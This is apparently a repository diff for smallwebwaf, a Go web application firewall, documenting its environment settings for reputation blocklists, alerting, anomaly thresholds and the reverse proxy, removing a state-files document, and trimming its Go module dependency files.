- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
||||
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
|
||||
without a user or a fragment. A URL listed twice is refused.
|
||||
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
|
||||
try before it is fetched again. A duration of `1h` or more.
|
||||
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
|
||||
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
||||
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
|
||||
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
|
||||
is refused, whatever its case or key.
|
||||
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
|
||||
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
|
||||
port, 53 when none is given. Unset, the host's resolver is used.
|
||||
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
||||
control character in it is refused.
|
||||
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
|
||||
from 0 to 100, that is a hit.
|
||||
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
|
||||
whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
|
||||
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
|
||||
user or a fragment; its decision list is at `v1/decisions` under it. Set
|
||||
without the key, it is refused. So is a decision list URL that is also in
|
||||
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
|
||||
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
||||
URL, it is refused.
|
||||
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||
`log`, for DNS blocklist and AbuseIPDB hits.
|
||||
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||
AbuseIPDB's score is used. A duration.
|
||||
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
|
||||
with AbuseIPDB may take. A duration.
|
||||
|
||||
## Alerting
|
||||
|
||||
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
|
||||
as a JSON object. An `http` or `https` URL without a user or a fragment.
|
||||
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
|
||||
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
|
||||
value cannot hold a comma.
|
||||
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
|
||||
receives each alert as a message, checked as the webhook URL is.
|
||||
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
|
||||
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
|
||||
webhook URL is.
|
||||
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
||||
character in it is refused.
|
||||
- `SWW_ALERT_EVENTS` (default
|
||||
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
|
||||
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
|
||||
but `summary`. Any other name is refused.
|
||||
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
||||
repeats are held back. A duration or `off`.
|
||||
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
|
||||
whole number above zero, or `off`.
|
||||
|
||||
## Anomaly thresholds
|
||||
|
||||
Each scope has four thresholds: the most requests and the most body bytes
|
||||
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
|
||||
Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||
thresholds per client are:
|
||||
|
||||
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
||||
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
||||
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
||||
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
||||
|
||||
The other scopes' names have another prefix before the same four endings, such
|
||||
as `REQUESTS_PER_MINUTE`:
|
||||
|
||||
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
||||
netblock's length:
|
||||
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
||||
client;
|
||||
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
||||
client.
|
||||
- `SWW_ANOMALY_ASN_...`: per AS number.
|
||||
- `SWW_ANOMALY_TOTAL_...`: the whole service.
|
||||
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
|
||||
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
|
||||
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||
name, or with a bad netblock, is refused. So is a name used twice.
|
||||
|
||||
## Settings given as files
|
||||
|
||||
To give a token as a file, as "Tokens" under "Deployment" in
|
||||
[`SPEC.md`](../SPEC.md) describes, make the file on the host:
|
||||
|
||||
```sh
|
||||
mkdir -p /srv/app/tokens
|
||||
openssl rand -hex 32 > /srv/app/tokens/metrics
|
||||
chown 65532:65532 /srv/app/tokens/metrics
|
||||
chmod 0400 /srv/app/tokens/metrics
|
||||
```
|
||||
|
||||
Then mount its directory into the container read-only, and name the file:
|
||||
|
||||
```sh
|
||||
docker run \
|
||||
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
||||
-e SWW_COMMAND=discriminator \
|
||||
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||
...
|
||||
```
|
||||
|
||||
## Fixed limits
|
||||
|
||||
A few limits are fixed rather than settings:
|
||||
|
||||
- at most 100,000 GeoJS answers are kept;
|
||||
- at most 100,000 DNS blocklist verdicts and 100,000 AbuseIPDB scores are kept;
|
||||
- at most 1,000 DNS blocklist queries are under way at once;
|
||||
- at most 20,000 anomaly counters are kept;
|
||||
- each alert destination's queue holds at most 1,000 alerts;
|
||||
- `discriminator` holds at most 10,000 answered requests awaiting their reports;
|
||||
- `discriminator` refuses a request with more than 50 cookies or more than 100
|
||||
header fields (see "Answering in time" under "`discriminator`" in
|
||||
[`SPEC.md`](../SPEC.md));
|
||||
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
|
||||
kept-open connection idle for 120 seconds;
|
||||
- `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
|
||||
answers `502` to a longer one.
|
||||
|
||||
## `discriminator`'s answer and `rproxy`'s wait
|
||||
|
||||
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
||||
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
||||
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
||||
in the background (see "Answering in time" under "`discriminator`" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## `rproxy`
|
||||
|
||||
`sww rproxy` reads the settings below and no others. They are read once at
|
||||
start, and an invalid value stops the start. None can be given as a file, since
|
||||
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
|
||||
they do.
|
||||
|
||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
|
||||
- `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||
speaks HTTP/1.1 to it.
|
||||
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
|
||||
`discriminator`'s answer, to a question and to a report. A time; never `off`.
|
||||
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
||||
`discriminator` cannot be connected to, does not answer at all, or does not
|
||||
answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
|
||||
answers `503`. It does not apply to an answer `discriminator` gives, such as
|
||||
an error.
|
||||
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
||||
`off`.
|
||||
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
||||
`off`.
|
||||
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
|
||||
send its request line and headers. It then also bounds, from the end of the
|
||||
headers, the time until the app has been sent the whole request. A time or
|
||||
`off`.
|
||||
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
|
||||
from the end of the request to its last byte reaching the visitor. A time or
|
||||
`off`.
|
||||
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
|
||||
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more.
|
||||
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
|
||||
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
|
||||
nothing. A client outside these netblocks cannot claim another address. Where
|
||||
other containers reach `rproxy` directly, or visitors on a private network
|
||||
reach traefik, they can name another address in the header. Narrowing the
|
||||
setting to traefik's own network closes that gap.
|
||||
|
||||
## The image's command
|
||||
|
||||
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
|
||||
check checks: `rproxy` or `discriminator` (see "Deployment" in
|
||||
[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
|
||||
|
||||
## Where earlier settings went
|
||||
|
||||
Nothing reads these names any more:
|
||||
|
||||
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
|
||||
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
|
||||
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
|
||||
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
|
||||
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
|
||||
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
|
||||
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
|
||||
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
||||
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
|
||||
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
|
||||
takes a request line and headers of at most 32 KiB.
|
||||
@@ -1,105 +0,0 @@
|
||||
# State files
|
||||
|
||||
The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
|
||||
in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
|
||||
a top-level `version` of 1.
|
||||
|
||||
## `bans.json`
|
||||
|
||||
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
||||
`discriminator` made. Per entry:
|
||||
|
||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||
- `reason`: a short reason;
|
||||
- `lifted`: when an admin lifted it, if one did;
|
||||
- `notes`: the notes below.
|
||||
|
||||
An entry an admin adds needs `netblock`, `start` and `expires`; `reason`,
|
||||
`notes` and `cause` may be left out, and the cause is then `admin`:
|
||||
|
||||
```json
|
||||
{
|
||||
"version": 1,
|
||||
"bans": [
|
||||
{
|
||||
"netblock": "203.0.113.0/24",
|
||||
"start": "2026-10-06T12:00:00Z",
|
||||
"expires": null,
|
||||
"reason": "probes for logins"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
"Bans" in [`SPEC.md`](../SPEC.md) says how an edit lifts, keeps or forgets a
|
||||
ban. The notes:
|
||||
|
||||
- `asn`, `as_name` and `country`: the client's, added when the lookup answers
|
||||
(empty when lookups are off);
|
||||
- for a broken limit, `kind` (`requests`, `bytes` or `refusals`), `limit`,
|
||||
`window` and `count`: what the limit was on, the limit, its window and the
|
||||
count reached;
|
||||
- `limit_percent` and `limit_percent_setting`: the client's percentage of that
|
||||
limit and the setting that gave it, when a setting lowered it;
|
||||
- for a clear sign of attack, `rule_id` and `target`, or `trap_path`;
|
||||
- `reputation`: the sources the client was on, each with its `source` and, for
|
||||
AbuseIPDB, its `score`;
|
||||
- `request`: the request that caused the ban, each text cut to 256 bytes:
|
||||
- `time`, `method` and `host`;
|
||||
- `path`, with its query string;
|
||||
- `status` and `user_agent`;
|
||||
- `requests` and `refused`: the netblock's requests since it was first seen, and
|
||||
how many this ban has refused so far, kept up to date while the ban lasts;
|
||||
- `earlier_bans`: how many earlier bans the netblock had, by cause.
|
||||
|
||||
## `clients.json`
|
||||
|
||||
Per client, one per line: its minute, hour and day counters, and its history
|
||||
since it was first seen:
|
||||
|
||||
- the first and last time seen;
|
||||
- the AS number, AS name and country last looked up, and when;
|
||||
- total requests, and how many were forwarded and how many refused;
|
||||
- body bytes of its requests, and of the responses it was sent;
|
||||
- responses by status class;
|
||||
- offences by kind: `limit`, `attack`, `blocked_by_block_rule` and
|
||||
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
|
||||
kept, and which nothing adds to.
|
||||
|
||||
## `lookups.json`
|
||||
|
||||
GeoJS answers, one per line:
|
||||
|
||||
- `client`;
|
||||
- `asn`, `as_name` and `country`;
|
||||
- `answered`: when GeoJS answered;
|
||||
- `used`: when the answer was last used.
|
||||
|
||||
## `reputation.json`
|
||||
|
||||
- the last good copy of each list fetched from a URL, with when it was last
|
||||
tried;
|
||||
- each DNS blocklist verdict still in use;
|
||||
- AbuseIPDB's scores, and the checks spent today.
|
||||
|
||||
## `alerts.json`
|
||||
|
||||
- the anomaly counters;
|
||||
- the alert cooldowns: for each event and netblock, source, file or anomaly
|
||||
scope, when it was last sent and the count of repeats held back since;
|
||||
- the alerts sent and held back in the current hour;
|
||||
- the alerts waiting for each destination.
|
||||
|
||||
## Sizes
|
||||
|
||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
|
||||
disk writes a day.
|
||||
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
||||
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
||||
more.
|
||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||
full.
|
||||
- `reputation.json` and `alerts.json`: usually a few MiB or less.
|
||||
@@ -2,42 +2,4 @@ module sneak.berlin/go/smallwebwaf
|
||||
|
||||
go 1.26.0
|
||||
|
||||
require (
|
||||
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
|
||||
github.com/corazawaf/coraza/v3 v3.8.1
|
||||
github.com/fsnotify/fsnotify v1.10.1
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7
|
||||
github.com/maxmind/mmdbwriter v1.2.0
|
||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
||||
github.com/prometheus/client_golang v1.24.1
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/beorn7/perks v1.0.1 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/corazawaf/libinjection-go v0.3.3 // indirect
|
||||
github.com/goccy/go-json v0.10.5 // indirect
|
||||
github.com/goccy/go-yaml v1.19.2 // indirect
|
||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
|
||||
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
|
||||
github.com/kaptinlin/go-i18n v0.1.4 // indirect
|
||||
github.com/kaptinlin/jsonschema v0.4.6 // indirect
|
||||
github.com/kylelemons/godebug v1.1.0 // indirect
|
||||
github.com/magefile/mage v1.17.0 // indirect
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
|
||||
github.com/prometheus/client_model v0.6.2 // indirect
|
||||
github.com/prometheus/common v0.70.1 // indirect
|
||||
github.com/prometheus/procfs v0.21.1 // indirect
|
||||
github.com/tidwall/gjson v1.18.0 // indirect
|
||||
github.com/tidwall/match v1.1.1 // indirect
|
||||
github.com/tidwall/pretty v1.2.1 // indirect
|
||||
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||
golang.org/x/net v0.58.0 // indirect
|
||||
golang.org/x/sync v0.23.0 // indirect
|
||||
golang.org/x/sys v0.48.0 // indirect
|
||||
golang.org/x/text v0.41.0 // indirect
|
||||
google.golang.org/protobuf v1.36.11 // indirect
|
||||
rsc.io/binaryregexp v0.2.0 // indirect
|
||||
)
|
||||
require github.com/hashicorp/golang-lru/v2 v2.0.7
|
||||
@@ -1,97 +1,2 @@
|
||||
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
|
||||
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
|
||||
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
|
||||
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
|
||||
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
|
||||
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
|
||||
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
|
||||
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
|
||||
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
|
||||
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
|
||||
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
||||
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
||||
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
||||
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
||||
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
|
||||
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
|
||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
|
||||
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
|
||||
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
||||
github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
|
||||
github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
|
||||
github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
|
||||
github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
|
||||
github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
|
||||
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
|
||||
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
||||
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
|
||||
github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
|
||||
github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
|
||||
github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
|
||||
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
|
||||
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
|
||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
|
||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
|
||||
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
|
||||
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
|
||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
|
||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
|
||||
github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
|
||||
github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
|
||||
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
|
||||
github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=
|
||||
github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi/PY=
|
||||
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
|
||||
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
|
||||
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
||||
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
||||
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
||||
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
||||
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
||||
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
|
||||
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
|
||||
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
|
||||
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
|
||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
|
||||
go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ=
|
||||
go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
|
||||
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
|
||||
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
|
||||
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
|
||||
